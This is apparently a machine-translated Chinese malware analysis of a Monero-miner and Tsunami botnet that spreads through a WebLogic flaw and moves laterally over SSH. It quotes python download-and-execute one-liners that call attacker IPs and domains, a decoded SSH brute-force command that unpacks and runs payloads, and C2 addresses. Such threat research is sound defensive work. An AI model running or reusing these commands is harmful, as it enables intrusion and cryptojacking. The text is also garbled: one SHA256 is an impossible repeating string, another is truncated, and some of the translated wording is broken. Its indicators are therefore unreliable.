具有 SSH 橫向移動功能的 Monero+Tsunami 僵尸網絡
安全研究員Tolijan Trajanovski(@tolisec)分析了實現ssh橫向移動的多向量Miner + Tsunami僵尸網絡。
安全研究員研究員0xrb與我分享了使用weblogic漏洞傳播的僵尸網絡示例。該僵尸網絡也在5天前被 @ BadPackets 發現, 并且到2020年12月1日為止仍處于活動狀態。該僵尸網絡帶有兩個有效載荷:1)Monero XMR Miner二進制文件;2)Tsunami 二進制文件。該僵尸網絡以云服務器為目標。 2020年9月 ,AWAKE Security的Patrick Olsen調查并報告了僅攜帶XMR Miner有效載荷的僵尸網絡的早期版本。
僵尸網絡摘要
有效負載:Monero礦工和Tsunami。
感染媒介:Docker API,Weblogic,SSH bruteforce?,Redis?
僵尸網絡目前正在使用Weblogic漏洞進行傳播。9月,僵尸網絡的早期版本正在使用配置錯誤的Docker API。有趣的是,當前的僵尸網絡版本包含未使用的代碼,用于利用Redis和暴力破解SSH。
橫向移動:僵尸網絡使用SSH進行橫向移動。它嘗試感染系統先前連接的主機。
逃避和持久性:僵尸網絡以多種方式實現持久性。殺死正在運行的進程,潛在地爭奪挖掘工具并消除EDR。使用base64編碼的中間階段shell腳本和base64編碼的命令來下載和執行python腳本。
AWAKE的Patrick Olsen對以前版本的出色分析:https: //awakesecurity.com/blog/threat-hunting-to-find-misconfigured-docker-exploitation/
此版本的僵尸網絡有哪些新功能?
- 除了Monero XMR挖礦機之外,Tsunami還添加為第二個有效載荷
- 利用Oracle WebLogic RCE進行傳播
- 消除了EDR和監控工具,阿里巴巴的Aliyun和騰訊的qcloud
- 對SSH橫向移動使用改進的功能,該功能枚舉ssh用戶,密鑰,主機和端口
- 使用具有不同放置位置的多個shell腳本和python腳本,使用硬編碼的IP地址和域連接到二進制托管Web服務器
- 包含未使用的代碼,這些代碼用于使用masscan掃描SSH和Redis服務以及使用Redis-cli和SSH蠻力工具感染服務器
分析
第1階段– WebLogic利用CVE-2020-14882
poc.xml SHA256:af1f3e57544583561dbd02201407782aef7dce47489e703ad6ac9f231363b439
階段1執行兩個有效負載,一個shell腳本,xms和一個python腳本。shellscript xms通過curl從bash傳遞到bash,以防萬一失敗,使用wget對其進行提取,執行和刪除,以防止分析。使用base64編碼命令來獲取并執行python腳本,以避免檢測和分析。

回顯的base64編碼的字符串解析為以下內容:python -c'import urllib; exec(urllib.urlopen(“ hxxp://205.185.116.78/d.py”).read())'
第2階段A)– xms shell腳本
xms shell腳本SHA256:72acbfdeadfa31d7ccda7fdcc93944b1948e263239af8850e5b44c518da0a4c5
執行的動作:
- 配置外殼路徑
- 如果SELinux處于強制模式,則將其切換到許可模式
- 將用戶進程的限制設置為50000
- 將RedHat大頁面的數量設置為虛擬CPU內核數量的三倍
- 清除LD預加載
- 終止在以下端口上通信的進程:3333、4444、5555、7777、14444、5790、45700、2222、9999、20580和13531。還終止與這些服務連接的進程:23.94.24.12:8080和134.122.17.13:8080。這些行為可能會殺死以前運行的軟件和潛在的競爭機器人。
- 生成一個隨機數,并根據該隨機數將線程設置為300或800->在未使用/注釋過的SSH bruteforce代碼中使用
- 卸載DER
- 檢查是否安裝了AliBaba安全代理Aliyun,如果是,則將其卸載
- 檢查是否安裝了qcloud(由騰訊進行的云監控),如果是,則將其卸載
- 獲取主機的WAN IP地址的/ 16范圍
- 檢查pool.supportxmr.com是否可訪問
- 檢查bash.givemexyz.in是否可訪問,是否執行以下操作:
- python -c’import urllib; exec(urllib.urlopen(“ hxxp://bash.givemexyz.in/dd.py”).read())’
- 如果無法訪問bash.givemexyz.in,則執行以下操作:
- python -c’導入urllib; exec(urllib.urlopen(“ hxxp://205.185.116.78/d.py”).read())’
SSH橫向移動:xms shell腳本嘗試感染服務器先前已連接到的主機。
- 它使用icanhazip.com解析受害主機IP
- 它枚舉用戶,主機,鍵和端口,并運行4個嵌套循環以嘗試所有組合
- 為了找到此信息,它解析id_rsa *;。.ssh / config; .bash_history; 和主目錄和根目錄中的.pem文件。它還列出了正在運行的進程,以獲取有關活動SSH連接的信息。

持久性:持久性機制與僵尸網絡的先前版本相同。
- xms腳本通過cronjobs實現了持久性,該cronjobs每分鐘,每2分鐘,每3分鐘,每30分鐘和每小時下載并執行xms shell腳本和python腳本。
- /etc/cron.d/root
- /etc/cron.d/apache
- / var / spool / cron / root
- / var / spool / cron / crontabs / root
- /etc/cron.hourly/oanacroner1
- 它還覆蓋/etc/init.d/down以確保系統啟動時的持久性。
階段2 B)Python腳本
共有4個python腳本。它們分為2組。第一組下載并運行Miner二進制文件和隨附的shell腳本,維護持久性并下載并運行第二組python腳本。第二組python腳本下載并運行Tsunami二進制文件。每個組都有兩個腳本:一個從硬編碼的IP中獲取垃圾箱,而另一個則使用域連接到托管有效負載的Web服務器。同一組中的腳本還會將垃圾箱放置到不同的位置,即/ tmp或/ var / tmp中。
d.py->
1)從硬編碼IP 205.185.116.78下載go shell腳本和Miner二進制文件,并通過go腳本執行Miner二進制文件。下載并執行b.py。
2)獲取并執行以下外殼程序腳本:
a)執行以下命令:python -c'import urllib; exec(urllib.urlopen(“ hxxp://bash.givemexyz.in/dd.py”).read())'或如果Givemexyz Web服務器不可用:python -c'import urllib; exec(urllib.urlopen(“ hxxp://205.185.116.78/b.py”).read())'
b)使用cron
dd保持持久性。 py python腳本的行為與d.py相同,但它從bash.givemexyz.in獲取Miner二進制文件。

階段3)A)Monero XMR Miner ELF二進制
文件二進制文件與名為go的shell腳本一起下載。“ go” shell腳本用于執行Miner二進制文件。二進制文件使用默認的UPX打包程序打包。
x86_64 SHA256:fdc7920b09290b8dedc84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3
i686
SHA256:35e45d556443c8bf4498d8968ab2a79e751fc2d359bf9f6b4dfd86d7f9c9f9c9b3c6b3c7f3c3f3d3c3f3d3c3f3d3d3df3d3df3d3df3d3d3d3d3d3d3d3dfdfdfdfd

Miner ELF二進制文件連接到以下挖掘代理服務器:
66.70.218.40 : 8080
階段3)B)Tsunami
Tsunami二進制文件針對x86和x86_64體系結構進行了編譯,與Miner二進制文件類似,它們也都裝有UPX。
他們連接到以下C2服務器:104.244.75.25:443
x32b SHA256:9b8280f5ce25f1db676db6e79c60c07e61996b2b68efa6d53e017f34cbf9a872
x64b SHA256:855557e415b485cedb9dc2c6f96d524143108a2f8442
第2階段“ xms” shell腳本
SSH掃描程序和漏洞
1.使用masscan掃描開放端口22的以下范圍:10.0.0.0/8 172.16.0.0/12 192.168.0.0/16
2.使用SSH蠻力工具通過打開SSH端口攻擊已發現的服務器
解碼SSH攻擊命令base64:RSAKEY =“否” SCP =“否” SCPFILE =” / tmp / linux.tar.gz” SCPPATH =” / tmp” CMD =” cd / tmp; tar -xvf /tmp/linux.tar.gz; chmod 777 / tmp / i686 / tmp / x86_64 / tmp / go; / tmp / go“ PORT =” 22“ UserKnownHostsFile =”“” BatchMode =“ no” ConnectTimeout =“ 15” StrictHostKeyChecking =“ no” Format =“ USER PASS IP” / tmp / sshexec /tmp/sparte.txt
Redis用于感染LAN中的服務器
1.掃描LAN中具有開放端口6379的設備,并將它們添加到列表中
